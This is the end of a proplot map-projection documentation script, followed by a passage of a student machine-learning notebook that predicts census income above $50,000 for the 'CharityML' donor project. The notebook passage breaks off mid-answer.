proj='cyl')\nax.format(lonlim=(-6, -2), latlim=(54.5, 58.5))\nfig.format(\n    land=True, labels=True,\n    borders=True, borderscolor='white',\n    suptitle='Cartopy degree-minute-second labels',\n)\npplt.rc.reset()\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _proj_included:\n#\n# Included projections\n# --------------------\n#\n# The available `cartopy <https://scitools.org.uk/cartopy/docs/latest/>`__\n# and `basemap <https://matplotlib.org/basemap/index.html>`__ projections are\n# plotted below. The full table of projection names with links to the relevant\n# `PROJ <https://proj.org>`__ documentation is found :ref:`here <proj_table>`.\n#\n# Proplot uses the cartopy API to add the Aitoff, Hammer, Winkel Tripel, and\n# Kavrayskiy VII projections (i.e., ``'aitoff'``, ``'hammer'``, ``'wintri'``,\n# and ``'kav7'``), as well as North and South polar versions of the Azimuthal\n# Equidistant, Lambert Azimuthal Equal-Area, and Gnomonic projections (i.e.,\n# ``'npaeqd'``, ``'spaeqd'``, ``'nplaea'``, ``'splaea'``, ``'npgnom'``, and\n# ``'spgnom'``), modeled after cartopy's existing `~cartopy.crs.NorthPolarStereo`\n# and `~cartopy.crs.SouthPolarStereo` projections.\n\n# %%\nimport proplot as pplt\n\n# Table of cartopy projections\nprojs = [\n    'cyl', 'merc', 'mill', 'lcyl', 'tmerc',\n    'robin', 'hammer', 'moll', 'kav7', 'aitoff', 'wintri', 'sinu',\n    'geos', 'ortho', 'nsper', 'aea', 'eqdc', 'lcc', 'gnom',\n    'npstere', 'nplaea', 'npaeqd', 'npgnom', 'igh',\n    'eck1', 'eck2', 'eck3', 'eck4', 'eck5', 'eck6'\n]\nfig, axs = pplt.subplots(ncols=3, nrows=10, figwidth=7, proj=projs)\naxs.format(\n    land=True, reso='lo', labels=False,\n    suptitle='Table of cartopy projections'\n)\nfor proj, ax in zip(projs, axs):\n    ax.format(title=proj, titleweight='bold', labels=False)\n\n# %%\nimport proplot as pplt\n\n# Table of basemap projections\nprojs = [\n    'cyl', 'merc', 'mill', 'cea', 'gall', 'sinu',\n    'eck4', 'robin', 'moll', 'kav7', 'hammer', 'mbtfpq',\n    'geos', 'ortho', 'nsper',\n    'vandg', 'aea', 'eqdc', 'gnom', 'cass', 'lcc',\n    'npstere', 'npaeqd', 'nplaea'\n]\nfig, axs = pplt.subplots(ncols=3, nrows=8, figwidth=7, proj=projs, backend='basemap')\naxs.format(\n    land=True, labels=False,\n    suptitle='Table of basemap projections'\n)\nfor proj, ax in zip(projs, axs):\n    ax.format(title=proj, titleweight='bold', labels=False)\n", "meta": {"hexsha": "5da3c67e46cc37b45f175c0a286689dbd91b2d02", "size": 22189, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/projections.py", "max_stars_repo_name": "xukai92/proplot", "max_stars_repo_head_hexsha": "f33edfe57c09d0d757d8017c616a0032283ac9ee", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "docs/projections.py", "max_issues_repo_name": "xukai92/proplot", "max_issues_repo_head_hexsha": "f33edfe57c09d0d757d8017c616a0032283ac9ee", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "docs/projections.py", "max_forks_repo_name": "xukai92/proplot", "max_forks_repo_head_hexsha": "f33edfe57c09d0d757d8017c616a0032283ac9ee", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 44.6458752515, "max_line_length": 110, "alphanum_fraction": 0.70805354, "include": true, "reason": "import numpy", "num_tokens": 6508, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.11596072283669215, "lm_q1q2_score": 0.053459838968899935}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# ## Supervised Learning\n# ## Project: Finding Donors for *CharityML*\n\n# In this notebook, some template code has already been provided for you, and it will be your job to implement the additional functionality necessary to successfully complete this project. Sections that begin with **'Implementation'** in the header indicate that the following block of code will require additional functionality which you must provide. Instructions will be provided for each section and the specifics of the implementation are marked in the code block with a `'TODO'` statement. Please be sure to read the instructions carefully!\n# \n# In addition to implementing code, there will be questions that you must answer which relate to the project and your implementation. Each section where you will answer a question is preceded by a **'Question X'** header. Carefully read each question and provide thorough answers in the following text boxes that begin with **'Answer:'**. Your project submission will be evaluated based on your answers to each of the questions and the implementation you provide.  \n# \n# >**Note:** Please specify WHICH VERSION OF PYTHON you are using when submitting this notebook. Code and Markdown cells can be executed using the **Shift + Enter** keyboard shortcut. In addition, Markdown cells can be edited by typically double-clicking the cell to enter edit mode.\n\n# ## Getting Started\n# \n# In this project, you will employ several supervised algorithms of your choice to accurately model individuals' income using data collected from the 1994 U.S. Census. You will then choose the best candidate algorithm from preliminary results and further optimize this algorithm to best model the data. Your goal with this implementation is to construct a model that accurately predicts whether an individual makes more than $50,000. This sort of task can arise in a non-profit setting, where organizations survive on donations.  Understanding an individual's income can help a non-profit better understand how large of a donation to request, or whether or not they should reach out to begin with.  While it can be difficult to determine an individual's general income bracket directly from public sources, we can (as we will see) infer this value from other publically available features. \n# \n# The dataset for this project originates from the [UCI Machine Learning Repository](https://archive.ics.uci.edu/ml/datasets/Census+Income). The datset was donated by Ron Kohavi and Barry Becker, after being published in the article _\"Scaling Up the Accuracy of Naive-Bayes Classifiers: A Decision-Tree Hybrid\"_. You can find the article by Ron Kohavi [online](https://www.aaai.org/Papers/KDD/1996/KDD96-033.pdf). The data we investigate here consists of small changes to the original dataset, such as removing the `'fnlwgt'` feature and records with missing or ill-formatted entries.\n\n# ----\n# ## Exploring the Data\n# Run the code cell below to load necessary Python libraries and load the census data. Note that the last column from this dataset, `'income'`, will be our target label (whether an individual makes more than, or at most, $50,000 annually). All other columns are features about each individual in the census database.\n\n# In[1]:\n\n\n# Import libraries necessary for this project\nimport numpy as np\nimport pandas as pd\nfrom time import time\nfrom IPython.display import display # Allows the use of display() for DataFrames\n\n# Import supplementary visualization code visuals.py\nimport visuals as vs\n\n# Pretty display for notebooks\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n# Load the Census dataset\ndata = pd.read_csv(\"census.csv\")\n\n# Success - Display the first record\ndisplay(data.head(n=1))\n\n\n# ### Implementation: Data Exploration\n# A cursory investigation of the dataset will determine how many individuals fit into either group, and will tell us about the percentage of these individuals making more than \\$50,000. In the code cell below, you will need to compute the following:\n# - The total number of records, `'n_records'`\n# - The number of individuals making more than \\$50,000 annually, `'n_greater_50k'`.\n# - The number of individuals making at most \\$50,000 annually, `'n_at_most_50k'`.\n# - The percentage of individuals making more than \\$50,000 annually, `'greater_percent'`.\n# \n# ** HINT: ** You may need to look at the table above to understand how the `'income'` entries are formatted. \n\n# In[2]:\n\n\n# TODO: Total number of records\nn_records = data.shape[0]\n# TODO: Number of records where individual's income is more than $50,000\n#n_greater_50k=data[data['income']=='>50K'].shape[0]\n# TODO: Number of records where individual's income is at most $50,000\n#n_at_most_50k=data[data['income']=='<=50K'].shape[0]\nn_at_most_50k, n_greater_50k = data.income.value_counts()\n# TODO: Percentage of individuals whose income is more than $50,000\ngreater_percent=(n_greater_50k*100)/n_records\n\n# Print the results\nprint(\"Total number of records: {}\".format(n_records))\nprint(\"Individuals making more than $50,000: {}\".format(n_greater_50k))\nprint(\"Individuals making at most $50,000: {}\".format(n_at_most_50k))\nprint(\"Percentage of individuals making more than $50,000: {:.2f}%\".format(greater_percent))\n\n\n# ** Featureset Exploration **\n# \n# * **age**: continuous. \n# * **workclass**: Private, Self-emp-not-inc, Self-emp-inc, Federal-gov, Local-gov, State-gov, Without-pay, Never-worked. \n# * **education**: Bachelors, Some-college, 11th, HS-grad, Prof-school, Assoc-acdm, Assoc-voc, 9th, 7th-8th, 12th, Masters, 1st-4th, 10th, Doctorate, 5th-6th, Preschool. \n# * **education-num**: continuous. \n# * **marital-status**: Married-civ-spouse, Divorced, Never-married, Separated, Widowed, Married-spouse-absent, Married-AF-spouse. \n# * **occupation**: Tech-support, Craft-repair, Other-service, Sales, Exec-managerial, Prof-specialty, Handlers-cleaners, Machine-op-inspct, Adm-clerical, Farming-fishing, Transport-moving, Priv-house-serv, Protective-serv, Armed-Forces. \n# * **relationship**: Wife, Own-child, Husband, Not-in-family, Other-relative, Unmarried. \n# * **race**: Black, White, Asian-Pac-Islander, Amer-Indian-Eskimo, Other. \n# * **sex**: Female, Male. \n# * **capital-gain**: continuous. \n# * **capital-loss**: continuous. \n# * **hours-per-week**: continuous. \n# * **native-country**: United-States, Cambodia, England, Puerto-Rico, Canada, Germany, Outlying-US(Guam-USVI-etc), India, Japan, Greece, South, China, Cuba, Iran, Honduras, Philippines, Italy, Poland, Jamaica, Vietnam, Mexico, Portugal, Ireland, France, Dominican-Republic, Laos, Ecuador, Taiwan, Haiti, Columbia, Hungary, Guatemala, Nicaragua, Scotland, Thailand, Yugoslavia, El-Salvador, Trinadad&Tobago, Peru, Hong, Holand-Netherlands.\n\n# ----\n# ## Preparing the Data\n# Before data can be used as input for machine learning algorithms, it often must be cleaned, formatted, and restructured \u2014 this is typically known as **preprocessing**. Fortunately, for this dataset, there are no invalid or missing entries we must deal with, however, there are some qualities about certain features that must be adjusted. This preprocessing can help tremendously with the outcome and predictive power of nearly all learning algorithms.\n\n# ### Transforming Skewed Continuous Features\n# A dataset may sometimes contain at least one feature whose values tend to lie near a single number, but will also have a non-trivial number of vastly larger or smaller values than that single number.  Algorithms can be sensitive to such distributions of values and can underperform if the range is not properly normalized. With the census dataset two features fit this description: '`capital-gain'` and `'capital-loss'`. \n# \n# Run the code cell below to plot a histogram of these two features. Note the range of the values present and how they are distributed.\n\n# In[3]:\n\n\n# Split the data into features and target label\nincome_raw = data['income']\nfeatures_raw = data.drop('income', axis = 1)\n\n# Visualize skewed continuous features of original data\nvs.distribution(data)\n\n\n# For highly-skewed feature distributions such as `'capital-gain'` and `'capital-loss'`, it is common practice to apply a <a href=\"https://en.wikipedia.org/wiki/Data_transformation_(statistics)\">logarithmic transformation</a> on the data so that the very large and very small values do not negatively affect the performance of a learning algorithm. Using a logarithmic transformation significantly reduces the range of values caused by outliers. Care must be taken when applying this transformation however: The logarithm of `0` is undefined, so we must translate the values by a small amount above `0` to apply the the logarithm successfully.\n# \n# Run the code cell below to perform a transformation on the data and visualize the results. Again, note the range of values and how they are distributed. \n\n# In[5]:\n\n\n# Log-transform the skewed features\nskewed = ['capital-gain', 'capital-loss']                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          \nfeatures_log_transformed = pd.DataFrame(data = features_raw)\nfeatures_log_transformed[skewed] = features_raw[skewed].apply(lambda x: np.log(x + 1))\n\n# Visualize the new log distributions\nvs.distribution(features_log_transformed, transformed = True)\n\n\n# ### Normalizing Numerical Features\n# In addition to performing transformations on features that are highly skewed, it is often good practice to perform some type of scaling on numerical features. Applying a scaling to the data does not change the shape of each feature's distribution (such as `'capital-gain'` or `'capital-loss'` above); however, normalization ensures that each feature is treated equally when applying supervised learners. Note that once scaling is applied, observing the data in its raw form will no longer have the same original meaning, as exampled below.\n# \n# Run the code cell below to normalize each numerical feature. We will use [`sklearn.preprocessing.MinMaxScaler`](http://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.MinMaxScaler.html) for this.\n\n# In[6]:\n\n\n# Import sklearn.preprocessing.StandardScaler\nfrom sklearn.preprocessing import MinMaxScaler\n\n# Initialize a scaler, then apply it to the features\nscaler = MinMaxScaler() # default=(0, 1)\nnumerical = ['age', 'education-num', 'capital-gain', 'capital-loss', 'hours-per-week']\n\nfeatures_log_minmax_transform = pd.DataFrame(data = features_log_transformed)\nfeatures_log_minmax_transform[numerical] = scaler.fit_transform(features_log_transformed[numerical])\n\n# Show an example of a record with scaling applied\ndisplay(features_log_minmax_transform.head(n = 1))\n\n\n# ### Implementation: Data Preprocessing\n# \n# From the table in **Exploring the Data** above, we can see there are several features for each record that are non-numeric. Typically, learning algorithms expect input to be numeric, which requires that non-numeric features (called *categorical variables*) be converted. One popular way to convert categorical variables is by using the **one-hot encoding** scheme. One-hot encoding creates a _\"dummy\"_ variable for each possible category of each non-numeric feature. For example, assume `someFeature` has three possible entries: `A`, `B`, or `C`. We then encode this feature into `someFeature_A`, `someFeature_B` and `someFeature_C`.\n# \n# |   | someFeature |                    | someFeature_A | someFeature_B | someFeature_C |\n# | :-: | :-: |                            | :-: | :-: | :-: |\n# | 0 |  B  |  | 0 | 1 | 0 |\n# | 1 |  C  | ----> one-hot encode ----> | 0 | 0 | 1 |\n# | 2 |  A  |  | 1 | 0 | 0 |\n# \n# Additionally, as with the non-numeric features, we need to convert the non-numeric target label, `'income'` to numerical values for the learning algorithm to work. Since there are only two possible categories for this label (\"<=50K\" and \">50K\"), we can avoid using one-hot encoding and simply encode these two categories as `0` and `1`, respectively. In code cell below, you will need to implement the following:\n#  - Use [`pandas.get_dummies()`](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.get_dummies.html?highlight=get_dummies#pandas.get_dummies) to perform one-hot encoding on the `'features_log_minmax_transform'` data.\n#  - Convert the target label `'income_raw'` to numerical entries.\n#    - Set records with \"<=50K\" to `0` and records with \">50K\" to `1`.\n\n# In[7]:\n\n\n#import pandas as pd\nfrom sklearn import preprocessing\n# TODO: One-hot encode the 'features_log_minmax_transform' data using pandas.get_dummies()\nfeatures_final = pd.get_dummies(features_log_minmax_transform)\n#display(features_final)\n\n# TODO: Encode the 'income_raw' data to numerical values\n#display(income_raw)\nencoder = preprocessing.LabelEncoder()\nincome = encoder.fit_transform(income_raw)\n#income = income_raw.apply(lambda x: 1 if x == '>50K' else 0)\n#display(income)\n\n\n# Print the number of features after one-hot encoding\nencoded = list(features_final.columns)\n\nprint(\"{} total features after one-hot encoding.\".format(len(encoded)))\n\n# Uncomment the following line to see the encoded feature names\n# print encoded\n\n\n# ### Shuffle and Split Data\n# Now all _categorical variables_ have been converted into numerical features, and all numerical features have been normalized. As always, we will now split the data (both features and their labels) into training and test sets. 80% of the data will be used for training and 20% for testing.\n# \n# Run the code cell below to perform this split.\n\n# In[8]:\n\n\n# Import train_test_split\nfrom sklearn.cross_validation import train_test_split\n\n# Split the 'features' and 'income' data into training and testing sets\nX_train, X_test, y_train, y_test = train_test_split(features_final, \n                                                    income, \n                                                    test_size = 0.2, \n                                                    random_state = 0)\n\n# Show the results of the split\nprint(\"Training set has {} samples.\".format(X_train.shape[0]))\nprint(\"Testing set has {} samples.\".format(X_test.shape[0]))\n\n\n# ----\n# ## Evaluating Model Performance\n# In this section, we will investigate four different algorithms, and determine which is best at modeling the data. Three of these algorithms will be supervised learners of your choice, and the fourth algorithm is known as a *naive predictor*.\n\n# ### Metrics and the Naive Predictor\n# *CharityML*, equipped with their research, knows individuals that make more than \\$50,000 are most likely to donate to their charity. Because of this, *CharityML* is particularly interested in predicting who makes more than \\$50,000 accurately. It would seem that using **accuracy** as a metric for evaluating a particular model's performace would be appropriate. Additionally, identifying someone that *does not* make more than \\$50,000 as someone who does would be detrimental to *CharityML*, since they are looking to find individuals willing to donate. Therefore, a model's ability to precisely predict those that make more than \\$50,000 is *more important* than the model's ability to **recall** those individuals. We can use **F-beta score** as a metric that considers both precision and recall:\n# \n# $$ F_{\\beta} = (1 + \\beta^2) \\cdot \\frac{precision \\cdot recall}{\\left( \\beta^2 \\cdot precision \\right) + recall} $$\n# \n# In particular, when $\\beta = 0.5$, more emphasis is placed on precision. This is called the **F$_{0.5}$ score** (or F-score for simplicity).\n# \n# Looking at the distribution of classes (those who make at most \\$50,000, and those who make more), it's clear most individuals do not make more than \\$50,000. This can greatly affect **accuracy**, since we could simply say *\"this person does not make more than \\$50,000\"* and generally be right, without ever looking at the data! Making such a statement would be called **naive**, since we have not considered any information to substantiate the claim. It is always important to consider the *naive prediction* for your data, to help establish a benchmark for whether a model is performing well. That been said, using that prediction would be pointless: If we predicted all people made less than \\$50,000, *CharityML* would identify no one as donors. \n# \n# \n# #### Note: Recap of accuracy, precision, recall\n# \n# ** Accuracy ** measures how often the classifier makes the correct prediction. It\u2019s the ratio of the number of correct predictions to the total number of predictions (the number of test data points).\n# \n# ** Precision ** tells us what proportion of messages we classified as spam, actually were spam.\n# It is a ratio of true positives(words classified as spam, and which are actually spam) to all positives(all words classified as spam, irrespective of whether that was the correct classificatio), in other words it is the ratio of\n# \n# `[True Positives/(True Positives + False Positives)]`\n# \n# ** Recall(sensitivity)** tells us what proportion of messages that actually were spam were classified by us as spam.\n# It is a ratio of true positives(words classified as spam, and which are actually spam) to all the words that were actually spam, in other words it is the ratio of\n# \n# `[True Positives/(True Positives + False Negatives)]`\n# \n# For classification problems that are skewed in their classification distributions like in our case, for example if we had a 100 text messages and only 2 were spam and the rest 98 weren't, accuracy by itself is not a very good metric. We could classify 90 messages as not spam(including the 2 that were spam but we classify them as not spam, hence they would be false negatives) and 10 as spam(all 10 false positives) and still get a reasonably good accuracy score. For such cases, precision and recall come in very handy. These two metrics can be combined to get the F1 score, which is weighted average(harmonic mean) of the precision and recall scores. This score can range from 0 to 1, with 1 being the best possible F1 score(we take the harmonic mean as we are dealing with ratios).\n\n# ### Question 1 - Naive Predictor Performace\n# * If we chose a model that always predicted an individual made more than $50,000, what would  that model's accuracy and F-score be on this dataset? You must use the code cell below and assign your results to `'accuracy'` and `'fscore'` to be used later.\n# \n# ** Please note ** that the the purpose of generating a naive predictor is simply to show what a base model without any intelligence would look like. In the real world, ideally your base model would be either the results of a previous model or could be based on a research paper upon which you are looking to improve. When there is no benchmark model set, getting a result better than random choice is a place you could start from.\n# \n# ** HINT: ** \n# \n# * When we have a model that always predicts '1' (i.e. the individual makes more than 50k) then our model will have no True Negatives(TN) or False Negatives(FN) as we are not making any negative('0' value) predictions. Therefore our Accuracy in this case becomes the same as our Precision(True Positives/(True Positives + False Positives)) as every prediction that we have made with value '1' that should have '0' becomes a False Positive; therefore our denominator in this case is the total number of records we have in total. \n# * Our Recall score(True Positives/(True Positives + False Negatives)) in this setting becomes 1 as we have no False Negatives.\n\n# In[10]:\n\n\n'''\nTP = np.sum(income) # Counting the ones as this is the naive case. Note that 'income' is the 'income_raw' data \nencoded to numerical values done in the data preprocessing step.\nFP = income.count() - TP # Specific to the naive case\n\nTN = 0 # No predicted negatives in the naive case\nFN = 0 # No predicted negatives in the naive case\n'''\nTP = np.count_nonzero(income)\n#FP = len(income) - TP\nFP = np.count_nonzero(income==0)\n# TODO: Calculate accuracy, precision and recall\naccuracy = TP/(TP+FP)\nrecall = 1 # TP/TP\nprecision = TP/(TP+FP)\n\n# TODO: Calculate F-score using the formula above for beta = 0.5 and correct values for precision and recall.\nfscore = (1+(0.5*0.5))*((precision*recall)/((0.5*0.5*precision)+recall))\n\n# Print the results \nprint(\"Naive Predictor: [Accuracy score: {:.4f}, F-score: {:.4f}]\".format(accuracy, fscore))\n\n\n# ###  Supervised Learning Models\n# **The following are some of the supervised learning models that are currently available in** [`scikit-learn`](http://scikit-learn.org/stable/supervised_learning.html) **that you may choose from:**\n# - Gaussian Naive Bayes (GaussianNB)\n# - Decision Trees\n# - Ensemble Methods (Bagging, AdaBoost, Random Forest, Gradient Boosting)\n# - K-Nearest Neighbors (KNeighbors)\n# - Stochastic Gradient Descent Classifier (SGDC)\n# - Support Vector Machines (SVM)\n# - Logistic Regression\n\n# ### Question 2 - Model Application\n# List three of the supervised learning models above that are appropriate for this problem that you will test on the census data. For each model chosen\n# \n# - Describe one real-world application in industry where the model can be applied. \n# - What are the strengths of the model; when does it perform well?\n# - What are the weaknesses of the model; when does it perform poorly?\n# - What makes this model a good candidate for the problem, given what you know about the data?\n# \n# ** HINT: **\n# \n# Structure your answer in the same format as above^, with 4 parts for each of the three models you pick. Please include references with your answer.\n\n# **Answer:**\n# \n# Ensemble Methods: \n# \n# - Describe one real-world application in industry where the model can be applied.\n# \n#     This is machine learning techniques that combines several base model to produce one optimal predictive model.Type of  Ensemble Methods are Bagging, AdaBoost, Random Forest, Gradient Boosting. The Ensemble Method can fit in many real-world application. One of the important application is Face Recognition\n# \n# - What are the strengths of the model; when does it perform well?\n# \n#     1. Difficult to over-fit\n#     2. Requires little additional parameter tuning\n#     3. Accommodates high non-linear interactions\n#     4. This method work with robust performance on outliers.\n# \n# - What are the weaknesses of the model; when does it perform poorly?\n# \n#     1. Need more storage\n#     2. More computation power\n#     3. All of the classifiers need to be processed, rather than just one, so run time of the algorithm very high\n# \n# - What makes this model a good candidate for the problem, given what you know about the data?\n# \n#     Above task is to construct a model to perform binary classification of whether an individual income over 50K or not. So, Ensemble Methods should generate good classification results.\n# \n#     Reference:\n#     - https://www.datasciencecentral.com/m/blogpost?id=6448529%3ABlogPost%3A428995\n#     - http://phirilytics.blogspot.com/2017/07/ensemble-model-strengthsand-some.html\n#     - https://blog.statsbot.co/ensemble-learning-d1dcd548e936\n#  \n# - Discussion about AdaBoost:\n#     - AdaBoost is an ensemble classifier model to create high accurate prediction rule by combining many relatively weak and inaccurate rules. Most widely used and well studied algorithm with the applications in numerous fields. More preciesly, Adaboost is a meta-algorithm for machine learning which is an actual machine learning model rather than a way to combine machine learning model. Adaboost is a combination of other Ensemble machine learning classifier e.g. Regression, B-trees, Random forests, Neural Networks). It is taking several weak predictive models and combining them in weighted fashion to form a new classifier.\n#     \n#     - Concept: AdaBoost is for improving weak learners. Each iteration of boosting creates three weak classifiers as mentioned below-\n#         1. Classifier is trained normally on a subset of the data\n#         2. Classifier is trained on data in which the first classifier achieved only 50% correct identification\n#         3. Classifier is trained on data for which the first and second classifier disagree\n#         \n#     - Strengths:\n#         - Often the best possible model\n#         - Directly optimizes the cost function\n#         - Recomended for high bias\n#     - Weaknesses:\n#         - Not robust against outliers and noise\n#         - Can overfit\n#         - Need to find proper stopping point\n#         - Several hyper-parameters\n#         - Lack of transparancy due to the complexity of multiple trees\n#         - Not recomended for high variance\n#         \n#     Reference:\n#     - https://users.lal.in2p3.fr/kegl/teaching/stages/notes/tutorial\n#     - https://towardsdatascience.com/adaboost-for-dummies-breaking-down-the-math-and-its-equations-into-simple-terms-87f439757dcf\n# \n# Decision Trees: \n# \n# - Describe one real-world application in industry where the model can be applied.\n# \n#     One of the  most important applications is 'Automated Identification of Cosmic-Ray' . This algorithm is fit for any kind of prediction.\n# \n# - What are the strengths of the model; when does it perform well?\n# \n#     1. Less computing power\n#     2. Handle both numerical and geographical data easily\n#     3. Reduce ambiguity \n# \n# - What are the weaknesses of the model; when does it perform poorly?\n# \n#     1. 